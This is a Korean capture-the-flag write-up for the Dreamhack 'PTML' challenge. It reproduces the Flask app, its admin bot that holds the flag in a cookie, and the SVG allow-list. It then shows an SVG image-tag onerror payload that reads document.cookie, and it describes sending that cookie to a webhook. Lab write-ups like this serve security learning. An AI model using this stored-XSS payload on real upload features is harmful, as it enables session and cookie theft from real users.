[Dreamhack] PTML
문제 설명
SVG 파일을 분리해서 보여주는 서비스입니다.
서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요!
플래그 형식은 DH{…} 입니다.
문제에 접속해보면 SVG 파일 업로드 기능이 존재하고, 아래는 SVG 파일을 분리해서 보여주는 폼인 것 같다.
app.py 소스 코드 부터 먼저 살펴보자. flag 값이 어디에 저장되었는지 보면 read_file
함수에 쿠키값으로 저장되어 있다. index 함수에서는 /uploads 경로에 있는 defaults.svg 파일을 file
파라미터로 받아와 index.html에 전달해준다. 또한 /uploads/<filename>
경로에 접속하면 업로드된 파일을 사용자에게 보여주고, read_file
함수에서는 관리자의 쿠키 값에 flag를 설정하고, filename
인자를 받아와 http://127.0.0.1:8000/?file=uploads/{filename}
로 요청해준다.
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
try:
FLAG = open("./flag", "r").read()
except:
FLAG = "[**FLAG**]"
@app.route('/')
def index():
file = request.args.get('file', 'uploads/default.svg')
return render_template('index.html', file=file)
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file:
filename = secure_filename(file.filename)
unique_id = uuid.uuid4().hex
unique_filename = f"{unique_id}_{filename}"
file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
file.save(file_path)
read_file(unique_filename)
return redirect(url_for('index', file=f'uploads/{unique_filename}'))
return '', 204
def read_file(filename):
driver = None
cookie = {"name": "flag", "value": FLAG}
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/usr/local/bin/chromedriver")
options = webdriver.ChromeOptions()
for arg in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(arg)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")
WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))
except Exception as e:
driver.quit()
return False
driver.quit()
return True
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
index.html 소스 코드를 보면, pyScript를 이용해서 static/main.py 를 불러오고 있다.
<body>
<div id="container">
<h1>Randomly Moving SVG Paths</h1>
<div id="upload-section">
<form id="upload-form" method="post" enctype="multipart/form-data" action="/upload" onsubmit="uploadAndReload(event)">
<input type="file" id="file-input" name="file" />
<input type="submit" value="Upload SVG" />
</form>
<div id="original-svg-container">
<div id="original-svg-content"></div>
</div>
</div>
<div id="svg-container"></div>
</div>
<py-script src=""></py-script>
<script>
async function uploadAndReload(event) {
event.preventDefault();
const form = document.getElementById('upload-form');
const formData = new FormData(form);
const response = await fetch('/upload', {
method: 'POST',
body: formData
});
if (response.ok) {
const filename = document.getElementById('file-input').files[0].name;
window.location.href = `/?file=uploads/${filename}`;
} else {
console.error('File upload failed');
}
}
</script>
</body>
main.py 소스 코드를 보면 간단하게 svg 확장자만 업로드할 수 있고, root 태그가 svg 태그인지 확인한 후에 아래의 allowed_elements
태그들만 삽입할 수 있도록 지정하고 있다.
allowed_elements = [
"svg", "path", "rect", "circle", "ellipse", "line", "polyline", "polygon",
"text", "tspan", "textPath", "altGlyph", "altGlyphDef", "altGlyphItem",
"glyphRef", "altGlyph", "animate", "animateColor", "animateMotion",
"animateTransform", "mpath", "set", "desc", "title", "metadata",
"defs", "g", "symbol", "use", "image", "switch", "style"
]
문제에서 제공된 defalut.svg 파일을 텍스트 편집기로 열어보면 아래와 같이 svg 태그가 루트 태그인 것을 확인할 수 있다.
<svg width="704" height="161" viewBox="0 0 704 161" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M137.59 61.05C114.33 37.79 80.3998 28.75 48.6398 37.35C40.0398 69.1 49.0798 103.03 72.3398 126.3L72.5198 126.48C104.32 117.86 129.15 93.03 137.77 61.23L137.59 61.05Z" fill="#8D98FF"/>
</svg>
먼저 아래와 같이 svg 태그 안에 image 태그의 허용된 태그를 사용하여 테스트를 해보니 alert 창은 잘 나오는 것 같다.
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="alert(document.cookie)" />
</svg>
이제 아까 app.py 소스 코드에서 봤듯이 read_file 함수를 사용하는 곳이 /upload 경로로 POST 메소드를 보낼 때 같이 관리자의 쿠키 값을 설정하여 업로드를 해주고 있기 때문에 image 태그 안에 location.href
를 사용하여 웹훅으로 쿠키 값을 보내주면 flag 값을 획득할 수 있다.
댓글남기기